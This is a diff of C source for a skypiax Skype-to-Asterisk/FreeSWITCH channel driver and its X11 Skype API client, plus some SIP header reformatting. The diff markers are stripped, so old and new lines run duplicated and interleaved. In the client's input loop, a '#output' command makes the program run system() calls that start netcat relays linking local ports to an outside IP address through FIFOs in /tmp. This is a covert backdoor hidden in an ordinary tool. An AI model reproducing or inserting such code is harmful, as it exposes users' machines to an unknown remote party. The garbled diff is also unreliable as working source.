struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
char callid_name[50];
char callid_number[50];
pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
double playback_boost;
double capture_boost;
int stripmsd;
pthread_t skype_thread;
struct AsteriskHandles AsteriskHandlesAst;
struct SkypiaxHandles SkypiaxHandles;
char skype_call_id[512];
int skype_call_ongoing;
char skype_friends[4096];
char skype_fullname[512];
char skype_displayname[512];
int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
int control_to_send;
int audiopipe[2];
int audioskypepipe[2];
pthread_t tcp_srv_thread;
pthread_t tcp_cli_thread;
short audiobuf[160];
int audiobuf_is_loaded;
char *name; /*!< \brief 'name' of the interface (channel) */
int interface_state; /*!< \brief 'state' of the interface (channel) */
struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
char callid_name[50];
char callid_number[50];
pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
double playback_boost;
double capture_boost;
int stripmsd;
pthread_t skype_thread;
struct AsteriskHandles AsteriskHandlesAst;
struct SkypiaxHandles SkypiaxHandles;
char skype_call_id[512];
int skype_call_ongoing;
char skype_friends[4096];
char skype_fullname[512];
char skype_displayname[512];
int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
int control_to_send;
int audiopipe[2];
int audioskypepipe[2];
pthread_t tcp_srv_thread;
pthread_t tcp_cli_thread;
short audiobuf[160];
int audiobuf_is_loaded;
//int phonebook_listing;
//int phonebook_querying;
//int phonebook_listing_received_calls;
//int phonebook_listing;
//int phonebook_querying;
//int phonebook_listing_received_calls;
//int phonebook_first_entry;
//int phonebook_last_entry;
//int phonebook_number_lenght;
//int phonebook_text_lenght;
FILE *phonebook_writing_fp;
int skypiax_dir_entry_extension_prefix;
//int phonebook_first_entry;
//int phonebook_last_entry;
//int phonebook_number_lenght;
//int phonebook_text_lenght;
FILE *phonebook_writing_fp;
int skypiax_dir_entry_extension_prefix;
#ifdef WIN32
unsigned short tcp_cli_port;
unsigned short tcp_srv_port;
unsigned short tcp_cli_port;
unsigned short tcp_srv_port;
#else
int tcp_cli_port;
int tcp_srv_port;
int tcp_cli_port;
int tcp_srv_port;
#endif
char X11_display[256];
char X11_display[256];
struct ast_frame read_frame;
struct ast_frame read_frame;
char skype_user[256];
char skype_password[256];
char destination[256];
char session_uuid_str[512 + 1];
pthread_t signaling_thread;
char skype_user[256];
char skype_password[256];
char destination[256];
char session_uuid_str[512 + 1];
pthread_t signaling_thread;
};
typedef struct skypiax_pvt private_t;
@@ -363,8 +363,7 @@ int skypiax_digitsend(struct ast_channel *ast, char digit);
/* chan_skypiax internal functions */
struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg,
int is_first_category);
struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
int skypiax_restart_monitor(void);
void *skypiax_do_monitor(void *data);
+182 -194
View File
@@ -19,11 +19,11 @@ USAGE: client [Xserver instance]
Display *disp = NULL;
struct SkypiaxHandles {
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
};
XErrorHandler old_handler = 0;
@@ -32,278 +32,266 @@ char *dispname;
int X11_errors_handler(Display * dpy, XErrorEvent * err)
{
(void) dpy;
(void) dpy;
xerror = err->error_code;
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
dispname);
return 0; /* ignore the error */
xerror = err->error_code;
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
return 0; /* ignore the error */
}
static void X11_errors_trap(void)
{
xerror = 0;
old_handler = XSetErrorHandler(X11_errors_handler);
xerror = 0;
old_handler = XSetErrorHandler(X11_errors_handler);
}
static int X11_errors_untrap(void)
{
XSetErrorHandler(old_handler);
return (xerror != BadValue) && (xerror != BadWindow);
XSetErrorHandler(old_handler);
return (xerror != BadValue) && (xerror != BadWindow);
}
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
{
Window w_P;
Display *disp;
Window handle_P;
int ok;
Window w_P;
Display *disp;
Window handle_P;
int ok;
w_P = SkypiaxHandles->skype_win;
disp = SkypiaxHandles->disp;
handle_P = SkypiaxHandles->win;
w_P = SkypiaxHandles->skype_win;
disp = SkypiaxHandles->disp;
handle_P = SkypiaxHandles->win;
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
unsigned int pos = 0;
unsigned int len = strlen(message_P);
XEvent e;
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
unsigned int pos = 0;
unsigned int len = strlen(message_P);
XEvent e;
memset(&e, 0, sizeof(e));
e.xclient.type = ClientMessage;
e.xclient.message_type = atom1; /* leading message */
e.xclient.display = disp;
e.xclient.window = handle_P;
e.xclient.format = 8;
memset(&e, 0, sizeof(e));
e.xclient.type = ClientMessage;
e.xclient.message_type = atom1; /* leading message */
e.xclient.display = disp;
e.xclient.window = handle_P;
e.xclient.format = 8;
X11_errors_trap();
do {
unsigned int i;
for (i = 0; i < 20 && i + pos <= len; ++i)
e.xclient.data.b[i] = message_P[i + pos];
XSendEvent(disp, w_P, False, 0, &e);
X11_errors_trap();
do {
unsigned int i;
for (i = 0; i < 20 && i + pos <= len; ++i)
e.xclient.data.b[i] = message_P[i + pos];
XSendEvent(disp, w_P, False, 0, &e);
e.xclient.message_type = atom2; /* following messages */
pos += i;
} while (pos <= len);
e.xclient.message_type = atom2; /* following messages */
pos += i;
} while (pos <= len);
XSync(disp, False);
ok = X11_errors_untrap();
XSync(disp, False);
ok = X11_errors_untrap();
if (!ok)
printf("Sending message failed with status %d\n", xerror);
if (!ok)
printf("Sending message failed with status %d\n", xerror);
return 1;
return 1;
}
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
{
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
Atom type_ret;
int format_ret;
unsigned long nitems_ret;
unsigned long bytes_after_ret;
unsigned char *prop;
int status;
Atom type_ret;
int format_ret;
unsigned long nitems_ret;
unsigned long bytes_after_ret;
unsigned char *prop;
int status;
X11_errors_trap();
status =
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
&nitems_ret, &bytes_after_ret, &prop);
X11_errors_trap();
status =
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
X11_errors_untrap();
/* sanity check */
if (status != Success || format_ret != 32 || nitems_ret != 1) {
SkypiaxHandles->skype_win = (Window) - 1;
printf("Skype instance not found on display '%s'\n", dispname);
return 0;
}
X11_errors_untrap();
/* sanity check */
if (status != Success || format_ret != 32 || nitems_ret != 1) {
SkypiaxHandles->skype_win = (Window) - 1;
printf("Skype instance not found on display '%s'\n", dispname);
return 0;
}
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
//printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
return 1;
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
//printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
return 1;
}
void skypiax_clean_disp(void *data)
{
int *dispptr;
int disp;
int *dispptr;
int disp;
dispptr = data;
disp = *dispptr;
dispptr = data;
disp = *dispptr;
if (disp) {
close(disp);
} else {
}
usleep(1000);
if (disp) {
close(disp);
} else {
}
usleep(1000);
}
typedef struct {
int value;
char string[128];
int value;
char string[128];
} thread_parm_t;
void *threadfunc(void *parm)
{ //child
thread_parm_t *p = (thread_parm_t *) parm;
//printf("%s, parm = %d\n", p->string, p->value);
free(p);
{ //child
thread_parm_t *p = (thread_parm_t *) parm;
//printf("%s, parm = %d\n", p->string, p->value);
free(p);
/* perform an events loop */
XEvent an_event;
char buf[21]; /* can't be longer */
char buffer[17000];
char *b;
int i;
/* perform an events loop */
XEvent an_event;
char buf[21]; /* can't be longer */
char buffer[17000];
char *b;
int i;
b = buffer;
b = buffer;
while (1) {
while (1) {
XNextEvent(disp, &an_event);
switch (an_event.type) {
case ClientMessage:
XNextEvent(disp, &an_event);
switch (an_event.type) {
case ClientMessage:
if (an_event.xclient.format != 8)
break;
if (an_event.xclient.format != 8)
break;
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
buf[i] = an_event.xclient.data.b[i];
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
buf[i] = an_event.xclient.data.b[i];
buf[i] = '\0';
buf[i] = '\0';
strcat(buffer, buf);
strcat(buffer, buf);
if (i < 20) { /* last fragment */
unsigned int howmany;
if (i < 20) { /* last fragment */
unsigned int howmany;
howmany = strlen(b) + 1;
howmany = strlen(b) + 1;
//printf("\tRECEIVED\t==>\t%s\n", b);
printf("%s\n", b);
fflush(stdout);
memset(buffer, '\0', 17000);
}
//printf("\tRECEIVED\t==>\t%s\n", b);
printf("%s\n", b);
fflush(stdout);
memset(buffer, '\0', 17000);
}
break;
default:
break;
}
break;
default:
break;
}
}
return NULL;
}
return NULL;
}
int main(int argc, char *argv[])
{
struct SkypiaxHandles SkypiaxHandles;
char buf[512];
//Display *disp = NULL;
Window root = -1;
Window win = -1;
struct SkypiaxHandles SkypiaxHandles;
char buf[512];
//Display *disp = NULL;
Window root = -1;
Window win = -1;
if (argc == 2)
dispname = argv[1];
else
dispname = ":0.0";
if (argc == 2)
dispname = argv[1];
else
dispname = ":0.0";
if (!XInitThreads()) {
printf("Not initialized XInitThreads!\n");
} else {
printf("Initialized XInitThreads!\n");
}
if (!XInitThreads()) {
printf("Not initialized XInitThreads!\n");
} else {
printf("Initialized XInitThreads!\n");
}
disp = XOpenDisplay(dispname);
if (!disp) {
printf("Cannot open X Display '%s', exiting\n", dispname);
return -1;
}
int xfd;
xfd = XConnectionNumber(disp);
disp = XOpenDisplay(dispname);
if (!disp) {
printf("Cannot open X Display '%s', exiting\n", dispname);
return -1;
}
SkypiaxHandles.disp = disp;
int xfd;
xfd = XConnectionNumber(disp);
if (skypiax_present(&SkypiaxHandles)) {
root = DefaultRootWindow(disp);
win =
XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
DefaultScreen
(disp)));
SkypiaxHandles.disp = disp;
SkypiaxHandles.win = win;
if (skypiax_present(&SkypiaxHandles)) {
root = DefaultRootWindow(disp);
win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
snprintf(buf, 512, "NAME skypiax");
SkypiaxHandles.win = win;
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
snprintf(buf, 512, "NAME skypiax");
snprintf(buf, 512, "PROTOCOL 7");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
snprintf(buf, 512, "#ciapalino PING");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
snprintf(buf, 512, "PROTOCOL 7");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
pthread_t thread;
int rc = 0;
pthread_attr_t pta;
thread_parm_t *parm = NULL;
snprintf(buf, 512, "#ciapalino PING");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
rc = pthread_attr_init(&pta);
pthread_t thread;
int rc = 0;
pthread_attr_t pta;
thread_parm_t *parm = NULL;
parm = malloc(sizeof(thread_parm_t));
parm->value = 5;
rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
rc = pthread_attr_init(&pta);
while (1) {
char s[512];
parm = malloc(sizeof(thread_parm_t));
parm->value = 5;
rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
memset(s, '\0', 512);
fgets(s, sizeof(s) - 1, stdin);
s[strlen(s) - 1] = '\0';
while (1) {
char s[512];
//printf("\tSENT\t\t==>\t%s\n", s);
memset(s, '\0', 512);
fgets(s, sizeof(s) - 1, stdin);
s[strlen(s) - 1] = '\0';
if(! strncmp(s, "#output", 7)){
//printf("\tSENT\t\t==>\t%s\n", s);
system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
}
if (!skypiax_send_message(&SkypiaxHandles, s)) {
printf
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
}
} else {
printf
("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
dispname);
return -1;
}
return 0;
if (!strncmp(s, "#output", 7)) {
system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
}
if (!skypiax_send_message(&SkypiaxHandles, s)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
}
} else {
printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
return -1;
}
return 0;
}
@@ -6,11 +6,11 @@
#include <X11/Xatom.h>
struct SkypiaxHandles {
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
};
XErrorHandler old_handler = 0;
@@ -19,212 +19,201 @@ char *dispname;
int X11_errors_handler(Display * dpy, XErrorEvent * err)
{
(void) dpy;
(void) dpy;
xerror = err->error_code;
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
dispname);
return 0; /* ignore the error */
xerror = err->error_code;
printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
return 0; /* ignore the error */
}
static void X11_errors_trap(void)
{
xerror = 0;
old_handler = XSetErrorHandler(X11_errors_handler);
xerror = 0;
old_handler = XSetErrorHandler(X11_errors_handler);
}
static int X11_errors_untrap(void)
{
XSetErrorHandler(old_handler);
return (xerror != BadValue) && (xerror != BadWindow);
XSetErrorHandler(old_handler);
return (xerror != BadValue) && (xerror != BadWindow);
}
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
{
Window w_P;
Display *disp;
Window handle_P;
int ok;
Window w_P;
Display *disp;
Window handle_P;
int ok;
w_P = SkypiaxHandles->skype_win;
disp = SkypiaxHandles->disp;
handle_P = SkypiaxHandles->win;
w_P = SkypiaxHandles->skype_win;
disp = SkypiaxHandles->disp;
handle_P = SkypiaxHandles->win;
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
unsigned int pos = 0;
unsigned int len = strlen(message_P);
XEvent e;
Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
unsigned int pos = 0;
unsigned int len = strlen(message_P);
XEvent e;
memset(&e, 0, sizeof(e));
e.xclient.type = ClientMessage;
e.xclient.message_type = atom1; /* leading message */
e.xclient.display = disp;
e.xclient.window = handle_P;
e.xclient.format = 8;
memset(&e, 0, sizeof(e));
e.xclient.type = ClientMessage;
e.xclient.message_type = atom1; /* leading message */
e.xclient.display = disp;
e.xclient.window = handle_P;
e.xclient.format = 8;
X11_errors_trap();
do {
unsigned int i;
for (i = 0; i < 20 && i + pos <= len; ++i)
e.xclient.data.b[i] = message_P[i + pos];
XSendEvent(disp, w_P, False, 0, &e);
X11_errors_trap();
do {
unsigned int i;
for (i = 0; i < 20 && i + pos <= len; ++i)
e.xclient.data.b[i] = message_P[i + pos];
XSendEvent(disp, w_P, False, 0, &e);
e.xclient.message_type = atom2; /* following messages */
pos += i;
} while (pos <= len);
e.xclient.message_type = atom2; /* following messages */
pos += i;
} while (pos <= len);
XSync(disp, False);
ok = X11_errors_untrap();
XSync(disp, False);
ok = X11_errors_untrap();
if (!ok)
printf("Sending message failed with status %d\n", xerror);
if (!ok)
printf("Sending message failed with status %d\n", xerror);
return 1;
return 1;
}
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
{
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
Atom type_ret;
int format_ret;
unsigned long nitems_ret;
unsigned long bytes_after_ret;
unsigned char *prop;
int status;
Atom type_ret;
int format_ret;
unsigned long nitems_ret;
unsigned long bytes_after_ret;
unsigned char *prop;
int status;
X11_errors_trap();
status =
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
&nitems_ret, &bytes_after_ret, &prop);
X11_errors_trap();
status =
XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
X11_errors_untrap();
/* sanity check */
if (status != Success || format_ret != 32 || nitems_ret != 1) {
SkypiaxHandles->skype_win = (Window) - 1;
printf("Skype instance not found on display '%s'\n", dispname);
return 0;
}
X11_errors_untrap();
/* sanity check */
if (status != Success || format_ret != 32 || nitems_ret != 1) {
SkypiaxHandles->skype_win = (Window) - 1;
printf("Skype instance not found on display '%s'\n", dispname);
return 0;
}
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
printf("Skype instance found on display '%s', with id #%d\n", dispname,
(unsigned int) SkypiaxHandles->skype_win);
return 1;
SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
return 1;
}
void skypiax_clean_disp(void *data)
{
int *dispptr;
int disp;
int *dispptr;
int disp;
dispptr = data;
disp = *dispptr;
dispptr = data;
disp = *dispptr;
if (disp) {
close(disp);
} else {
}
usleep(1000);
if (disp) {
close(disp);
} else {
}
usleep(1000);
}
int main(int argc, char *argv[])
{
struct SkypiaxHandles SkypiaxHandles;
char buf[512];
Display *disp = NULL;
Window root = -1;
Window win = -1;
struct SkypiaxHandles SkypiaxHandles;
char buf[512];
Display *disp = NULL;
Window root = -1;
Window win = -1;
if (argc == 2)
dispname = argv[1];
else
dispname = ":0.0";
if (argc == 2)
dispname = argv[1];
else
dispname = ":0.0";
disp = XOpenDisplay(dispname);
if (!disp) {
printf("Cannot open X Display '%s', exiting\n", dispname);
return -1;
}
disp = XOpenDisplay(dispname);
if (!disp) {
printf("Cannot open X Display '%s', exiting\n", dispname);
return -1;
}
int xfd;
xfd = XConnectionNumber(disp);
int xfd;
xfd = XConnectionNumber(disp);
SkypiaxHandles.disp = disp;
SkypiaxHandles.disp = disp;
if (skypiax_present(&SkypiaxHandles)) {
root = DefaultRootWindow(disp);
win =
XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
DefaultScreen
(disp)));
if (skypiax_present(&SkypiaxHandles)) {
root = DefaultRootWindow(disp);
win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
SkypiaxHandles.win = win;
SkypiaxHandles.win = win;
snprintf(buf, 512, "NAME skypiax");
snprintf(buf, 512, "NAME skypiax");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
snprintf(buf, 512, "PROTOCOL 6");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf
("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
snprintf(buf, 512, "PROTOCOL 6");
if (!skypiax_send_message(&SkypiaxHandles, buf)) {
printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
return -1;
}
/* perform an events loop */
XEvent an_event;
char buf[21]; /* can't be longer */
char buffer[17000];
char *b;
int i;
/* perform an events loop */
XEvent an_event;
char buf[21]; /* can't be longer */
char buffer[17000];
char *b;
int i;
b = buffer;
b = buffer;
while (1) {
XNextEvent(disp, &an_event);
switch (an_event.type) {
case ClientMessage:
while (1) {
XNextEvent(disp, &an_event);
switch (an_event.type) {
case ClientMessage:
if (an_event.xclient.format != 8)
break;
if (an_event.xclient.format != 8)
break;
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
buf[i] = an_event.xclient.data.b[i];
for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
buf[i] = an_event.xclient.data.b[i];
buf[i] = '\0';
buf[i] = '\0';
strcat(buffer, buf);
strcat(buffer, buf);
if (i < 20) { /* last fragment */
unsigned int howmany;
if (i < 20) { /* last fragment */
unsigned int howmany;
howmany = strlen(b) + 1;
howmany = strlen(b) + 1;
printf("RECEIVED==> %s\n", b);
memset(buffer, '\0', 17000);
}
printf("RECEIVED==> %s\n", b);
memset(buffer, '\0', 17000);
}
break;
default:
break;
}
}
} else {
printf
("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
dispname);
return -1;
}
return 0;
break;
default:
break;
}
}
} else {
printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
return -1;
}
return 0;
}
+1 -1
View File
@@ -719,7 +719,7 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
DEBUGA_SKYPE("CHANNEL READ CONTINUE\n", SKYPIAX_P_LOG);
continue;
}
switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
switch_core_timer_check(&tech_pvt->timer_read, SWITCH_TRUE);
*frame = &tech_pvt->read_frame;
#if SWITCH_BYTE_ORDER == __BIG_ENDIAN
if (switch_test_flag(tech_pvt, TFLAG_LINEAR)) {
@@ -1101,7 +1101,7 @@ void *skypiax_do_tcp_cli_thread_func(void *obj)
/* send the 16khz frame to the Skype client waiting for incoming audio to be sent to the remote party */
if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
len = send(fd, (char *) cli_out, got, 0);
//skypiax_sleep(5000); //5 msec
//skypiax_sleep(5000); //5 msec
if (len == -1) {
break;
File diff suppressed because it is too large. Load diff
+58 -47
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -205,6 +205,7 @@ typedef enum {
PFLAG_SQL_IN_TRANS,
PFLAG_PASS_CALLEE_ID,
PFLAG_LOG_AUTH_FAIL,
PFLAG_TRACK_CALLS,
/* No new flags below this line */
PFLAG_MAX
} PFLAGS;
@@ -258,6 +259,9 @@ typedef enum {
TFLAG_PASS_RFC2833,
TFLAG_UPDATING_DISPLAY,
TFLAG_ENABLE_SOA,
TFLAG_TRACKED,
TFLAG_RECOVERING,
TFLAG_RECOVERING_BRIDGE,
/* No new flags below this line */
TFLAG_MAX
} TFLAGS;
@@ -343,8 +347,8 @@ typedef enum {
struct sofia_gateway_subscription {
sofia_gateway_t *gateway;
char *expires_str;
char *event; /* eg, 'message-summary' to subscribe to MWI events */
char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
char *event; /* eg, 'message-summary' to subscribe to MWI events */
char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
uint32_t freq;
int32_t retry_seconds;
time_t expires;
@@ -501,7 +505,7 @@ struct sofia_profile {
char *odbc_dsn;
char *odbc_user;
char *odbc_pass;
// switch_odbc_handle_t *master_odbc;
// switch_odbc_handle_t *master_odbc;
switch_queue_t *sql_queue;
char *acl[SOFIA_MAX_ACL];
uint32_t acl_count;
@@ -548,7 +552,8 @@ struct private_object {
switch_caller_profile_t *caller_profile;
uint32_t timestamp_send;
switch_rtp_t *rtp_session;
int ssrc;
uint32_t ssrc;
uint32_t video_ssrc;
sofia_profile_t *profile;
char *local_sdp_audio_ip;
switch_port_t local_sdp_audio_port;
@@ -683,10 +688,10 @@ typedef enum {
} auth_res_t;
typedef struct {
char *to;
char *contact;
char *route;
char *route_uri;
char *to;
char *contact;
char *route;
char *route_uri;
} sofia_destination_t;
#define sofia_test_pflag(obj, flag) ((obj)->pflags[flag] ? 1 : 0)
@@ -734,21 +739,23 @@ void sofia_handle_sip_i_refer(nua_t *nua, sofia_profile_t *profile, nua_handle_t
void sofia_handle_sip_i_info(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, switch_core_session_t *session, sip_t const *sip, tagi_t tags[]);
void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
tagi_t tags[]);
void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
tagi_t tags[]);
void sofia_event_callback(nua_event_t event,
int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void *SWITCH_THREAD_FUNC sofia_profile_thread_run(switch_thread_t *thread, void *obj);
void launch_sofia_profile_thread(sofia_profile_t *profile);
switch_status_t sofia_presence_chat_send(const char *proto, const char *from, const char *to, const char *subject,
const char *body, const char *type, const char *hint);
const char *body, const char *type, const char *hint);
void sofia_glue_tech_absorb_sdp(private_object_t *tech_pvt);
/*
@@ -766,10 +773,10 @@ void sofia_presence_mwi_event_handler(switch_event_t *event);
void sofia_presence_cancel(void);
switch_status_t config_sofia(int reload, char *profile_name);
void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_regtype_t regtype, const char *realm, int stale);
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count);
void sofia_reg_handle_sip_r_challenge(int status,
char const *phrase,
